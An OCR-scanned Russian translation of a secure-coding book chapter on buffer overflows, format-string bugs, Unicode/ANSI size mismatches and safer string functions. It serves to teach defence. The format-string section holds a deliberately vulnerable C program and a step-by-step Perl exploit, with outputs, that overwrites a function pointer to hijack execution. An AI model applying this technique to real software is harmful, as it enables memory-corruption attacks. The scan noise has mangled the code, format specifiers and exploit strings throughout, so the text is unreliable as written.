Некоторые знаменитые примеры эксплуатации кода связаны с ошибками усе чения. В UNIX-системах идентификатор (ID) учетной записи root (суперпольз' ) ватель) равен нулю. Демон (аналог службы в Windows) сетевой файловой систе мы принимает ID пользователя как целое со знаком (signed integer), проверяв г, не равно ли оно нулю, и затем усекает до беззнакового «короткого» целого (unsigned short). Это позволяет предоставить в качестве идентификатора пользователя (User ID, UID) значение 0x10000, которое не равно нулю, но после усечения до двух бант превращается в 0x0000, то есть пользователь получит «корневые» (root) полно мочия, поскольку его ID равен 0. Будьте очень осторожны с операциями, в кото рых возможно усечение или переполнение.

Более подробно об ошибках усечения рассказано в главе 20. Ошибки отбр i сывания старших разрядов вызывают множество проблем с безопасностью, а г.е только становятся причиной неверной индексации массивов, позволяющей зап: i сывать данные в любое место памяти. Кроме того, ошибки при преобразования из знакового в беззнаковое представление и обратно чреваты аналогичными пр> ) блемами, их мы тоже обсудим в главе 20, Ошибки в строках форматирования Строго говоря, ошибки в строках форматирования — это не переполнение буфе ра, но они способны вызывать аналогичные проблемы. Если вы не постоянньй подписчик списков рассылки, посвященных безопасности, вам вряд ли знакомы такого рода ошибки. Есть два хороших сообщения на эту тему на BugTraq: автор первого (http://wwwsecurityfociisom/archwe/l/81565) Тим Ньюшэм (Tim Newshani), а второго (bttp://wivwsecurityfocus.com/arcbive/1/6б842~} — Ламагра Аргамал (Lamagra 126 Часть II Методы безопасного кодирования Argamal). Совсем недавно Дэвид Литчфилд (David Litchfield) представил более полное описание проблемы (b(tp://tiww.nextgenss.com/papers/wm32formaUioc).JleRo в том, что нет универсального и практичного способа, позволяющего определить, сколько аргументов в действительности передано в функцию, которая принима ет переменное число параметров. (Наиболее известные функции, принимающие произвольное число параметров, включая функции времени выполнения С, от носятся к семейству printf) В них символ форматирования %п записывает указанное количество байт по адресу, переданному в качестве аргумента. Немного повозив шись, можно обнаружить, что часть адресного пространства нашего процесса переписана байтами, нужными хакеру. В 2000 — 2001 гг. в приложениях для UNIX и UNIX-подобных систем было найдено большое количество ошибок, связанных со строками форматирования. С момента выхода первого издания этой книги подобные ошибки обнаружены и в Windows-приложениях. Их эксплуатация в Windows сопряжена с некоторыми трудностями, поскольку многие.из блоков памяти, которые «интересно» было бы переписать, находятся в диапазоне адре сов от OxOOffffff и ниже, например, стек обычно расположен в районе 0x00120000.

При небольшом везении хакер преодолевает эти трудности. Но даже не особо везучим все равно удается с легкостью писать в диапазоне 0x01000000 — OxTfffffff Решение проблемы относительно просто: в printf-функции всегда надо пере давать строки форматирования. Например, print/(<входные_данные>) поддается эксплуатации, a printf(«%s», <входные_данные>) — нет. Вот приложение-пример.

«include «include «include typedef void ('ErrFimc)(unsigned long);

void GhastlyError(unsigned long err) ' printf("HenonpaBHKtafl ошибка! - err = Kd\n", err);

// В общем случае такой способ нельзя назвать удачным.

// Выходы из приложения, "зарытые" в глубинах функций библиотеки X Window, // однажды стоили мне недели отладки.

// Все выходы из приложения должны проходить через main, в идеале в одном месте.

exit(-1);

;

void RecoverableError(unsigned long err) printf("4To-To пошло не так, но с этим, похоже, можно справиться - err = Xd\n", err);

I void PrintMessage(char* file, unsigned long err) ;

ErrFunc fErrFunc;

ГЛАВА 5 Враг №1: переполнение буфера char buf[512];

if(err == 5) I // в доступе отказано fErrFunc = GhastlyError;

> else ( fErrFunc = RecoverableError;

;

_snprintf(buf, sizeof(buf)-1, "He найден файл Xs", file);

// Этот оператор нужен только для того, чтобы показать, что в буфере printf("Xs", buf);

// на случай, если ваш компилятор сам что-то меняет f>rintf("\nAflpec функции fErrFunc - Xp\n", SfErrFunc);

// Вот здесь-то и происходит все "нехорошее"!

// Никогда так не делайте.

fprintf(stdout, buf);

printf{"\nBbJ30B ErrFunc: *p\n", fErrFunc);

fErrFunc(err);

;

void foo(void) ;

printf("4epTl Нас взломали! \п");

int main(int argc, char* argv[]) I FILE- pFile;

// Небольшое жульничество, чтобы упростить пример printf("Aflpec функции foo - Kp\n", foo);

// Открываются только существующие файлы pFile = fopen(argv[1], "г");

if(pFile == NULL) I PrintMessage(argv[1], errno);

;

else { printf("OTKpbiT файл Js\n", argv[1]);

1 28 Часть II Методы безопасного кодирования fclose(pFile);

return 0;

А теперь — как это работает. Приложение пытается открыть файл и, если не получается, вызывает функцию PrintMessage, которая определяет, есть ли возмож ность восстановления после ошибки или нет (в нашем случае это ошибка «доступ запрещен*), и устанавливает указатель на соответствующий адрес Далее Print&lessage форматирует в буфере сообщение об ошибке и выводит его на экран. Попутно я вставил дополнительные вызовы print/, чтобы упростить написание exploit-про грамм и помочь читателям, у которых адреса отличаются. Наша цель, как всегда. — вызвать функцию/оо. При вводе нормального имени файла программа работает ТЭК:

C:\Secureco2\Chapter05>fоrmatstring.exe not_exist Адрес фунции foo - Не найден файл not^exist Адрес функции fErrFunc - 0012FF1C Не найден файл not_exist Вызов ErrFunc: Что-то пошло не так, но с этим, похоже, можно справиться - егг = А если подсунуть «нехорошую» строку:

С:\Secureco2\Chapter05>formatstring.exe ШхШхШхШхХхШхШхШхХхЯхтхШ хХхХхХхЯхХхХхКх Адрес фунции foo - Не найден файл Х х Х х Х х Ш х Х х Ш х Х х Х х Х х Х х Х х Ш х Х х Х х Х х Х х Х х Х х Ш х Х х Х х Х х Х х Х х Адрес функции fErrFunc - 0012FF1C Не найден файл 14534807ffdf000000000000000012fde8077f516b36e6e 0746f20546e Вызов ErrFunc;

Что-то пошло не так, но с этим, похоже, можно справиться - егг = Уже интереснее! Это не что иное, как данные из стека. Обязательно обратите внимание на повтор последовательности «7825» — это %х наоборот, поскольку процессор «понимает* только прямой порядок байт (little eiidian). Подумать толь ко — переданные нами приложению строки стали данными. А теперь немного поэкспериментируем. Проще всего это делать при помощи Perl-сценария — я опустил только строки, где определяется переменная Sarg. По мере изучения при мера вам придется последовательно ставить знак комментария у последнего и рас комментировать следующий оператор с присваиванием значения переменной Sarg.

# Для перехода на следующий этап последовательно комментируйте очередную п строку с $агд и раскомментируйте следующую » Это первый отрезок exploit-строки # Последний Хр будет указывать на 0x ГЛАВА 5 Враг №1: переполнение буфера # С учетом того, что мы работаем в архитектуре с прямым порядком байт, it получим 0x $агд = " Х х Х х Ш х Ш х Ш х Х х Х х Ш х Х х Х х Х х Ш х Ш х Ш х Х х Х х Х х Х х Х х Х х Ш х Х х Х х Ш х Ш х Х х XxXxXxXxXxXxXxXxXxXp"."ABC";

(f Теперь закомментируйте предыдущее присваивание $агд и используйте это в $агд = "...... ХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХх ЯхХхШхШхХхХхШхШхХхХхХхХр-.-АВС";

» Теперь собственно начнем перезаписывать память - перепишем указатель ErrFunc ft $агд = "..... ШхХхШхтхХхШхХхКхШхХхШхХхХхХхШхЯхШхХхХхШхХхХхХхШх ШхХхШхХхХхХхХхХхХхШхХхКпп". "\x1c\xff\x12";

# Наконец раскомментируйте следующую строку чтобы посмотреть, » как работет exploit-код it $arg = "К^ОббхХхШхХхХхХхШхХхШхХхХхШхШхШхХхХхХхШхХхХхШхХхШхХхХх ". "\x1c\xff\x12";

$cmd = "formatstring ".$arg;

system($cmd);

В первом прогоне в конец вставляются символы «ABC» и последний %х заме няется на %р. Сначала ничего не произойдет, но добавьте еще несколько симво лов %х и получите что-то типа:

C:\Secureco2\Chapter05>perl testl. pi Адрес фунции foo - Не найден файл Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х Х х ХхХхХхХхХхХхХхХхХхХхХхХрАВС Адрес функции fErrFunc - 0012FF1C Не найден файл 70005c6f00727[... 1782578257025782500434241 ABC Если затем обрезать %х, то в конце получим 00434241АВС. Мы записали п.) адресу, обозначенному последним %р, строку «ABC*. Добавим завершающий нуль - теперь мы можем писать в любое место адресного пространства приложения. Когда полностью подберем exploit-строку, воспользуемся Perl-сценарием, чтобы заме нить ABC на «\xlc\xff\xl2», что позволит нам переписать значение, записанное и /ErrFund После этого программа сообщит, что вызов ErrFunc происходит в очень интересных местах. При создании демонстрационного приложения я вставля1!

несколько символов «точка* (.) и затем подбирал необходимое количеетво сим волов %х. Если у вас в конце печатается что-то, отличное от 00434241АВС, добавьт:;

или удалите несколько начальных символов, чтобы добиться выравнивания дан ных по границе в 4 байта, а затем добавьте или удалите спецификаторы %х так, чтобы %р начинал чтение там, где нам надо. Закомментируйте первую exploit-строку и раскомментируйте вторую:

C:\Secureco2\Chapter05>perl test.pl Адрес фунции foo - Методы безопасного кодирования 130 Часть II Не найден файл ШхХхХхХхХхХхШхХхХхХхШхХхХхХхХхХхХхХхХхШхШхХхХхХхХхХх ХхХхХхШхХхХхХхХхХхХхХхХхХхХхХхХхХрАВС Адрес функции fErrFunc - 0012FF1C Не найден файл 70005c6f00727[...]8257025782500434241АВС Как только заставите это работать как минимум с 4-5 символами-заполните лями, получите возможность писать в программу любые данные. Во-первых, вспом ните, что %Ьп запишет необходимое количество символов в 16-битное значение, на которое прежде указывал %р. Удалите один символ-заполнитель (так как по явился символ «и»), замените «ABC» на «\xlc\xff\xl2» и повторите попытку. Если вы все сделали так, как я, то получите примерно следующее:

C:\Secureco2\Chapter05>perl test.pi Адрес фунции foo - Не найден файл ШхХхХхХхХхХхХхХхХхХхХхШхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХхХх ШхХхХхХхХхШхХхХхХхХхШхХхХхХЬл? ?

Адрес функции fErrFunc - 0012FF1C Не найден файл 7D005c6f00727[..,]78257825786e682578? ?

Вызов ErrFunc: После этого приложение завершится с ошибкой, а это уже шаг вперед. Заметьте:

мы теперь можем перезаписывать указатель на функцию ErrFund Я знаю, что функция/оо расположена по адресу 0x00401100, а я установил ErrFunc в 0x00400129, то есть/оо на 4055 байт больше, чем я могу записать. Все, что надо, — подставить «.4066» в качестве спецификатора ширины поля в первый вызов %х, и все! После запуска test.pl получим:

Вызов ErrFunc Черт! Нас взломали!

Приложение даже завершилось нормально, поскольку я не сильно «перепахал» память. Я перезаписал ровно 2 байта точно тем значением, которое мне нужно.

Всегда помните, что если вы позволили хакеру писать в память вашего прило жения, то он всегда сможет «уронить» приложение или выполнить произвольный код — это лишь вопрос времени. Подобных ошибок избежать довольно легко. Про явите особую бдительность, если у вас разные форматирующие строки для раз ных языков, поддерживаемых вашим приложением. Если это так, позаботьтесь, чтобы их не мог перезаписывать кто попало.

Несовпадение размеров буфера при использовании Unicode и ANSI Переполнение буфера, возникающее из-за несовпадения размеров буфера при использовании различных кодировок, ANSI и Unicode, — обычное явление в ОС Windows. Они возникают, если вы путаете число элементов массива с его разме ром в байтах. Тому есть две причины. Windows NT (и более поздние версии) под держивают строки как в формате ANSI, так и в Unicode, и большинство Unicode версий функций работают с буферами, размер которых выражается в < широких» (wide), двухбайтовых символах, а не в байтах.

ГЛАВА 5 Враг №1: переполнение буфера Одна из наиболее часто используемых из-за подверженности таким ошибкам функция MultiByteToWideChar преобразует «многобайтные* строки в двубайтнне («широкие»). Посмотрите на этот код:

BOOL GetNameCchar -szName) I WCHAR wszUserName[256];

// Преобразовать имя из формата ANSI в Unicode.

MultlByteToWideChar(CP_ACP, 0, szNante, -1, wszUserName, sizeof(wszUserName)};

He заметили дыру? То-то. А собака зарыта в последнем аргументе функции MultiByteToWideChar. В документации утверждается, что он «в «широких» симв> ) лах определяет размер буфера, на который указывает параметр IpWideCharStr». Мы передаем значение sizeof(wszUserName), которое равно 256, верно? А вот и нет.

wszUserName — Unicode-строка, которая содержит 256 «широких» символов, каж дый из которых состоит из двух байт. Так что на самом деле sizeof(wszUserName) равно 512 байт. Таким образом, функция считает, что размер буфера — 512 «ши роких» символов. Поскольку wszUserName располагается в стеке, то мы получас м пригодную для эксплуатации возможность переполнения буфера.

Вот как надо написать вызов этой функции:

HultiByteToWideChar(CP_ACP, О, szName, -1, wszUserName, sizeof(wszUserName) / sizeof(wszUserName[0]));

Чтобы снизить вероятность подобных ошибок, можно создать такой макро.:;

ttdefine ElementCount(x) (sizeof(x)/sizeof(x[0]>) Еще один момент, на который следует обратить внимание при переводе Unicode в ANSI: не все символы преобразуются из формата в формат. Второй аргумент функции MultiByteToWideChar определяет, как ведет себя функция, встретив такой символ. Это важно, если вы выполняете приведение в канонический вид (сапош calization) или регистрируете вводимые пользователями данные, особенно в сети, Внимание! При использовании спецификатора формата %S, функции семей ства printf «молча» проигнорируют (то есть выбросят) символы, не под дающиеся переводу, так что вполне возможно, что число символов во входной Unicode-строке окажется больше, чем в выходной.

Методы безопасного кодирования 132 Часть II Пример ошибки, связанной с Unicode Брешь, связанная с переполнением буфера в протоколе печати IPP (Internet Printing Protocol), связана с Unicode. Подробнее — в бюллетене MS01-23 (http://www.micro soft.com/technet/security). IPP работает как IS API-приложение в одном процессе с IIS 5 (Internet Information Services), то есть под системной учетной записью;

сле довательно, поддающееся эксплуатации переполнение буфера становится намного опаснее. Причем ошибка не в IIS. «Дырявый* код выглядит примерно так:

TCHAR wszComputerName[256];

BOOL GetServerName(EXTENSION_CONTROL_BLOCK *рЕСВ) { DWORD dwSize = sizeof(wszComputerName);

char szComputerName[256];

if (pECB->GetServerVariable (pECB->ConnID, "SERVER_NAME", szComputerName, idwSlze)) { // Что-то делаем.

ISAPI-функция GetServerVariable копирует байты в количестве dwSize в перемен ную szComputerName. Однако длина dwSize равна 512, поскольку TCHAR — макрос, который в данном случае определяет формат Unicode. Фактически функции со общают, что можно копировать до 512 байт в переменную szComputerName, дли на которой на самом деле 256 байт. Приплыли!

Бытует заблуждение, что переполнение, когда буфер преобразуется из ANSI в Unicode, не поддается эксплуатации. Каждый второй символ равен null, что тут эксплуатировать? В статье Криса Энли (Chris Anley) (http://www.nextgenss.com/papers/ unicodebo.pdf) описано, как это делается. Суть в том, что, когда буфер несколько больше, чем нужно, хакер может воспользоваться тем, что в архитектуре Intel команды состоят из разного числа байт. Это позволяет заставить систему интер претировать последовательность Unicode-символов как строку однобайтовых команд. Обычно предполагается, что, если хакер может каким-либо образом по влиять на ход выполнения программы, эксплуатация недостатков возможна, Предотвращение переполнения буфера Первая линия обороны — надежный код! Хотя некоторые особенности написа ния безопасного кода и не лежат на поверхности, предотвращение переполнения буфера — краеугольный камень создания надежных приложений. Великолепный источник сведений на эту тему — книга Стива Магуайра (Steve Maguire) «Writing Solid Code» (Создание надежного кода) (Microsoft Press, 1993). Даже опытный и аккуратный программист почерпнет в ней много полезного.

Всегда проверяйте все входящие данные — все, что вне вашей функции, сле дует рассматривать как небезопасное и враждебное. Точно так же, никакая инфор мация о внутренней реализации функции — ничего, кроме входных и выходных параметров, не должно быть доступно извне. Недавно я общался с программис том, который написал примерно такую функцию печати строки:

ГЛАВА 5 Враг №1: переполнение буфера void PrintLine(const char* msg) { Char buf[255];

sprintf(buf, "Префикс %s суффикс\п", msg);

I На мой вопрос, почему нет проверки входных данных, он ответил, что конт ролирует весь код, вызывающий эту функцию, кроме того, знает размер буфера -л не собирается его переполнять. Тогда я спросил, что будет, если тот, кому npi- дется поддерживать этот код, окажется не столь аккуратным. В ответ он лишь развел руками. Такого рода конструкции просто напрашиваются на неприятности — функция всегда должна завершаться корректно, даже если она получит данньи:, которые никак не ожидала.

Еще об одном интересном методе я узнал от программиста из Microsoft. Я на звал его "агрессивным программированием*. Если функция принимает выходной буфер и его размер в качестве аргументов, вставьте такой код:

Kifdef.DEBUG memset(dest, ' A ', buflen);

//buflen = размер в байтах ttendif Если теперь кто-то попытается вызвать вашу функцию и подставить «свою длину буфера, получит ошибку. Если вы используете достаточно новый компиля тор, проблема очень быстро обнаружит себя. Я считаю, что это отличный способ «внедрить» механизм тестирования в само приложение, чтобы отыскивать ошиб ки самому, не полагаясь на полную процедуру тестирования. Вы можете добиться того же эффекта с расширенными вариантами функций, которые есть в модуле Strsafe.h;

о них я расскажу далее.

Безопасная обработка строк Работа со строками — самый крупный источник ошибок переполнения буфер;

!, так что в обязательном порядке следует обсудить вызовы наиболее популярные функций. Я расскажу о версиях, оперирующих однобайтовыми строками, но для двухбайтных версий рассуждения полностью аналогичны. Ситуацию сильно услож няет то, что кроме функций Istrcpy, Istrcat и Istrcpyn, поддерживаемых Window/..

оболочка Windows содержит аналогичные функции, такие как StrCpy, StrCat л StrCpyN (экспортируются из Shlwapi.dll). Хотя функции семейства Istr различают ся очень незначительно и работают как с одно-, так и многобайтовыми символа ми (все определяется тем, как в приложении определен макрос LPTSTR), они сс держатте же проблемы, что и ANSI-версии. После рассказа о «классических* фун кциях, я покажу, как использовать новые функции семейства strsafe, Функция strcpy Она ненадежна по определению, и следует использовать ее как можно реже, а лучше вообще от нее отказаться. Вот ее объявление:

char *strcpy( char *strDestination, const char *strSource );

Часть II Методы безопасного кодирования 1 Количество способов вызова этой функции, приводящих к краху, практичес ки бесконечно. Если источник или приемник равны null, функция «вылетает» по исключению и вы оказываетесь в обработчике. Если буфер-источник не заверша ется символом null, результат непредсказуем и зависит от того, где в строке выпа дет байт, содержащий null. А самая большая проблема — переполнение — возни кает, когда длина исходной строки больше размера буфера-приемника. Исполь зование этой функции безопасно лишь в очень простых случаях, таких как копи рование фиксированной строки в буфер в качестве префикса другой строки, Вот пример максимально безопасного вызова strcpy:

/* Эта функция показывает, как использовать strcpy максимально безопасно. */ bool Handlelnput(const char* input) i cnar buf[80];

if(input == NULL) < assert(false);

return false;

I // Вызов strlen приведет к краху, если параметр не завершается символом null.

// Заметьте: как strlen, так и sizeof возвращают значение типа size_t, // так что сравнение корректно во всех случаях.

// Также помните, что проверка того, длиннее ли size_t // числа со знаком, может привести к ошибке - подробности в главе // в разделе о проверке кода на предмет безопасности, if(strlen(input) < sizeof(buf)) ' // Все нормально.

strcpy(buf, input);

else { return false;

//Дальнейшая обработка буфера, return true;

i Как видите, проверок совсем немного и, если входная строка не завершается символом null, функция, скорее всего, инициирует исключение. Программисты меня часто уверяют, что они проверили массу вызовов strcpy и большинство из них безопасны. Может, оно и так, но если всегда применять более безопасные функ ции, то и проблем будет меньше. Даже достаточно аккуратному программисту очень просто совершить ошибку в вызове strcpy. He знаю, как вы, а я наделал предоста Враг №1: переполнение буфера ГЛАВА точно таких ошибок и думаю, нет ничего проще, чем ошибиться снова, и не риз.

Я знаю массу проектов, в которых функцию strcpy объявили «вне закона», и чис ло найденных ошибок переполнения буфера резко сократилось.

Попробуйте поместить такую строку в стандартные заголовочные файлы:

«define strcpy Unsafe_strcpy Теперь каждая попытка использования strcpy будет инициировать сообщение об ошибке компиляции. Новый заголовочный файл с strsafe отменит подобные функции, если только перед включением заголовка вы не определите:

«define STRSAFE_NO_DEPRECATE Я называю это средством безопасности — при езде на лошади я редко падаю, но тем не менее всегда надеваю шлем, на всякий случай. (На самом деле после дний раз лошадь «уронила» меня в сентябре 2001 г., и шлем спас мне жизнь.) Точ но так же использование только безопасных строковых функций существенно снижает вероятность того, что моя ошибка приведет к катастрофическим после, [ ствиям. Исключив strep}', вы попутно избавитесь от ошибок, с ней связанных.

Функция strncpy Эта функция гораздо безопаснее, но и она не безгрешна. Вот ее прототип:

char *strncpy( char *strDest, const char «strSource, size_t count );

Здесь те же проблемы с передачей в качестве параметров — источника или приемника— null или других ошибочных указателей;

при этом инициируются исключения. Другая возможность промахнуться — передать неверное значение параметра count. Однако в этом случае, если буфер-источник не содержит завер шающего null, исключения не произойдет. Трудно догадаться о следующей возмож ной проблеме: нет никаких гарантий, что буфер-приемник будет содержать за вершающий null (Кстати, функция Ытсруп это гарантирует.) Я также обычно считаю серьезной ошибкой, если объем введенных пользователем данных больше, чем пре дусмотренный мной буфер — это, как правило, означает, что либо я что-то сде лал не так, либо кто-то пытается взломать мою программу. В функции strncpy не так-то легко определить, что входной буфер слишком большой. Вот несколько при меров, Первый способ:

/* Эта функция показывает, как использовать strncpy, а еще лучший способ я покажу попозже. */ bool HandleInput_Strncpy1(const char* input) { char buf[80];

if(input == NULL) i assert(false);

return false;

I 6- 136 Часть II Методы безопасного кодирования strncpy(buf, input, sizeof(buf) - 1);

t>uf[sizeof(buf) - 1] = ДО';

// Дальнейшая обработка буфера, return true;

!

Функция завершится с ошибкой, только если input или им/содержат неправиль ные указатели. Также следует проявлять бдительность при вызове sizeof. Исполь зуя этот оператор, вы можете изменить размер буфера в одном месте программы и получить вполне ожидаемый результат сотней строк ниже. Более того, обяза тельно устанавливайте в null последний символ буфера. Проблема в том, что ни когда нельзя гарантировать, что длина входной строки входит в намеченные рамки, В документации на strncpy заботливо сообщается, что в функции не предусмот рено возвращаемого значения, которое информирует об ошибке. Некоторые вполне счастливы тем, что просто обрезают буфер;

они надеются, что ошибку «выловит» дальнейший код. Ничего подобного. Никогда так не поступайте! Если нужно «вы скочить» по исключению, делать это следует как можно ближе к источнику ошибки.

Отладка сильно упрощается, если ошибка происходит рядом с кодом, ее вызвав шим. Это еще и более производительно: зачем исполнять лишние команды? На конец, обрезание строки может дать непредсказуемый результат, от дыры в защите до изумления пользователя. [Как сказано в книге «The Tao of Programming» (Дао программирования) (Info Books, 1986) Джеффри Джеймса (Jeffrey James), «изум лять пользователя нехорошо в любом случае».] Вот код, в котором проблема решена:

/* Эта функция показывает лучший способ использования strncpy.

Она предполагает, что входные данные завершаются символом null. */ bool HandleInput_Strncpy2(const char* input) ;

char buf[80];

if(lnput == NULL) assert(false);

return false;

;

buf[sizeof(buf) - 1] = ДО";

// Некоторые развитые средства проверки кода пометят это место // как ошибку - поместите лучше комментарий или псевдокоиментарий (pragma), // чтобы никто не удивлялся, увидев значение, равное sizeof(buf), // а не sizeof(buf) минус один.

strncpyCbuf, input, sizeof(buf));

if(buf[sizeof(buf) - 1] != ДО') I ГЛАВА 5 Враг Ne1: переполнение буфера //Переполнение!

return false;

i //Дальнейшая обработка буфера, return true;

} Функция HandleInput_Strncpy2 гораздо надежнее. Я сначала установил после, [ ний символ в null в качестве реперной точки, а затем позволил strncpy записы вать буфер полноствю, а не только sizeof(buf) - 1 символов. Затем я выясняю, нет ли переполнения, проверяя последний символ на равенство null — единственно му значению, которое можно использовать для проверки;

все остальное может по явиться просто по совпадению.

Функция sprintf Функция sptintf делит лавры с strcpy по разрушительности возможных последстви Вызвать ее безопасно практически невозможно. Вот ее объявление:

int sprintfX char *buffer, const char *format [, argument]... };

За исключением простых случаев, до вызова sprintf трудно проверить, доста точно ли в буфере места для данных. Вот пример:

/* Пример некорректного использования sprintf */ bool SprintfLogError(int line, unsigned long err, char* msg) !

char buf[132];

if(msg == NULL) ;

assert(false);

return false;

:

// Сколько есть возможностей потерпеть сбой у sprintf???

sprintf(buf, "Ошибка в строке Sd = 3id - S!s\n", Line, err, msg);

// Выполните дополнительные действия, например регистрацию ошибки в журнале и // оповещение пользователя, return true;

> Насколько вероятно, что эта функция потерпит сбой? Если msg не содержи г завершающего null, SprintfLogError, возможно, инициирует исключение. Я исполь зовал 21 символ для выявления ошибки. Аргумент err способен принимать дм 10 символов для отображения, a line— до И символов. (Номера строк не могуч быть отрицательными, но исключать этого полностью нельзя.) Таким образом, и строке msg безопасно передавать только 89 символов. Трудно запомнить число символов, которое разрешается использовать с различными кодами форматирс вания. Код возврата функции sprint/тоже особо не поможет. Он сообщает, сколь ко символов было записано, так что ваш код будет выглядеть примерно так:

Часть It Методы безопасного кодирования if{sprintf (buf, "Ошибка в строке Xd = Kd - Xs\n", line, err, msg) >= sizeof(buf)) Но это не назовешь элегантным выходом. Вы перезаписали неизвестно сколь ко байт непонятно чем и вполне могли перезаписать и адрес обработчика исклю чений! Нельзя использовать обработку исключений для предотвращения перепол нения буфера, поскольку хакер способен обмануть и обработчиков. Неисправи мое уже случилось, игра закончена, и хакер выиграл. Если вы все-таки не хотите отказаться от sprint/, то следующий некрасивый трюк поможет вам сделать это бе зопасно. (Я не собираюсь приводить пример кода.) Откройте (NUL) нулевое уст ройство для вывода, используя /open, и вызовите /print/— значение, возвращен ное /print/, укажет, сколько потребуется байт. Затем сравните это значение с раз мером вашего буфера или даже выделите столько памяти, сколько нужно. В осно ве всего семейства print/ лежит функция _output, а значит, указанные манипуля ции достаточно накладны, поскольку ее дважды вызывают только для того, чтобы отформатировать символы в буфере.

Функция _snprintf Это одна из моих любимых функций. Вот ее прототип:

int _snprintf( char "buffer, size_t count, const char *format [, argument]... );

Обладая всей мощью jsprintf, она тем не менее безопасна в использовании. Вот пример:

/* Пример использования _snprintf */ bool SnprintfLogError(int line, unsigned long err, char * msg) { char buf[132];

if(msg == NULL) :

assert{false);

return false;

I // He забудьте оставить место под завершающий null!

// Помните ошибку занижения размера буфера на единицу?

if(_snprintf(btJf, sizeof(buf)-1, "Ошибка в строке XcJ = Sd - S!s\n", line, err, msg) < 0) :

// Переполнение!

return false;

) else i buf[sizeof(buf)-1] = '\0';

// Выполните дополнительные действия, например регистрацию ошибки в журнале // и оповещение пользователя.

ГЛАВА 5 Враг №1: переполнение буфера return true;

;

Может показаться, что надо думать над чем угодно, только не над тем, какую из этих функций использовать: _snprintfne гарантирует, что выходной буфер з i вершается символом null— по крайней мере не так, как в библиотеке времени выполнения Microsoft С, — так что вам придется проверять все самим. Еще хуже то, что функция не входила в стандартную библиотеку С, пока не был принят стандарт ISO С99- Поскольку _snprint нестандартная функция (поэтому, кстати, се имя начинается со знака подчеркивания), возможны четыре типа поведения, если вы допускаете написание переносимого кода. Она способна: возвратить отрица тельное число, если буфер слишком мал, количество байт, которые должна была записать, а также завершить или не завершить буфер символом null. Если вы со бираетесь писать переносимый код, лучше всего создать макрос или функцию обертку, которая проверяет, нет ли ошибок;

это позволит изолировать ошибки и «не пустить* их в основной код. Помимо заботы о переносимости кода не забудь те ограничить количество символов числом, которое на единицу меньше, чем раз мер буфера, чтобы оставить место для завершающего null-символа. Всегда завер шайте буфер символом null.

Конкатенация строк с использованием традиционных функций может оказаться небезопасной. Как и strcpy, strcat небезопасна (за исключением простых случаев), a strncat сложна в работе, так как спецификатор длины обозначает место, остав шееся в буфере, а не действительный размер буфера. Использование _snprint Д( • лает конкатенацию строк легкой и безопасной. Я как-то поспорил с одним раз работчиком о различиях в производительности между _snprint и strncpy с после дующей strncat. Измерения показали, что они очень незначительные и заметны только в циклах с тысячами повторов.

Строки в Standart Template Library Standart Template Library (STL) — одно из лучших средств, облегчающих програм мирование на C++. STL сэкономила мне массу времени и сделала мой труд более эффективным. Мое недовольство по поводу отсутствия в С нормального строко вого типа теперь удовлетворено — такой тип есть в C++. Вот пример:

/* Пример строковых типов в STL */ ftinclude using namespace std;

void HandleInput_STL(const char« input) !

string stn, str2;

// Используйте такую форму, если уверены, // что переданная строка заканчивается символом null.

strl = input;

// Если не уверены, есть ли в конце строки null, сделайте так;

str2.append(input, 132);

// 132 == максимальное количество символов, которое разрешается скопировать.

140 Часть II Методы безопасного кодирования //Дальнейшая обработка, // Так можно вернуть строку, printf("Xs\n", str2.c_str());

} Проще некуда! Склеить две строки так же просто:

string s1, s2;

si = "foo";

s2 = "bar" // А теперь значение s1 станет "foobar" s1 += s2;

Строковые классы STL также содержат множество действительно полезных функций-членов для поиска символов и подстрок в строках и обрезания строк, Есть версия и для Unicode-символов. Класс CString из библиотеки MFC (Microsoft Foundation Classes) работает точно так же. Я должен отметить лишь то, что STL способен инициировать исключения при недостатке памяти или возникновении ошибок. Например, присвоение STL-строке указателя NULL выливается в исклю чение. Порой это раздражает. Например, функция inet_ntoa принимает Интернет адрес в бинарном виде, а возвращает его строковое представление. При сбое фун кции вы получите NULL.

С другой стороны, в одном из крупных серверных приложений Microsoft в последнее время применялся класс string для всех строк. Дорогостоящий и доско нальный анализ кода, выполненный одной известной и уважаемой консалтинго вой компанией, не показал ни одного переполнения буфера в коде, где для рабо ты со строками повсеместно использовался класс string. Также можно прибегнуть к более строгому контролю типов объектов, создав для string класс-обертку Userlnput.

Как только вы увидите ссылку на это класс, вам сразу станет ясно, с чем вы име ете дело и как с этим обращаться.

Функции gets и fgets Рассказ о небезопасных функциях обработки строк был бы неполным без функ ции gets. Она определяется так;

char *gets( char «buffer );

Это не функция, а одно большое несчастье. Она читает поток stdin, пока не получит символ перевода строки или возврата каретки. Нет способа узнать, пере полнился ли буфер. Никогда не используйте ее — лучше задействуйте /gets или объект stream языка C++.

Использование Strsafe.h Во время кампании по безопасности Windows (Windows Security Push) в начале 2002 г. мы поняли, что все существующие функции обработки строк не лишены проблем и нам надо создать библиотеку, которую мы могли бы использовать в своих приложениях. Мы выделили свойства, которые нам требовались (выдержка из документации по SDK):

Враг №1: переполнение буфера ГЛАВА размер буфера-приемника обязательно должен передаваться в функцию, что бы она не выходила за его пределы;

буферы гарантированно должны содержать завершающий null, даже при усе чении результата:

все функции должны возвращать значение типа HRESULT с одним кодом ус пешного завершения — S_OK;

каждая функция должна быть доступной в двух версиях: с поддержкой числа символов (cch) и байт (cb);

у большинства функций должна быть расширенная (д>) версия, обладающая расширенной функциональностью.

Примечание Копия Strsafe.h содержится в папке Secureco2\Strsafe.

Посмотрим, почему каждое из этих требований важно. Во-первых, нам обяз i тсльно надо знать размер буфера. Его легко узнать, вызвав оператор sizeofmm msize.

Общая проблема таких функций, как strncat, в том, что люди нередко ошибаются в подсчете символов — использование только полного размера буфера позволя ет избавиться от множества ошибок. Всегда завершать символом null буферы это хороший стиль, и мне, честно говоря, непонятно, почему стандартные функ ции так не делают. Далее, функции возвращают разные результаты. Иногда стро ка обрезается или один из указателей равен null. В стандартных библиотечных функциях это не так-то легко выяснить. Помните, к каким ухищрениям нам при шлось прибегнуть, чтобы безопасно вызвать strncpy? Как я уже говорил, урезание входных данных обычно чревато ошибками;

теперь-то мы точно знаем, что мо жет произойти.

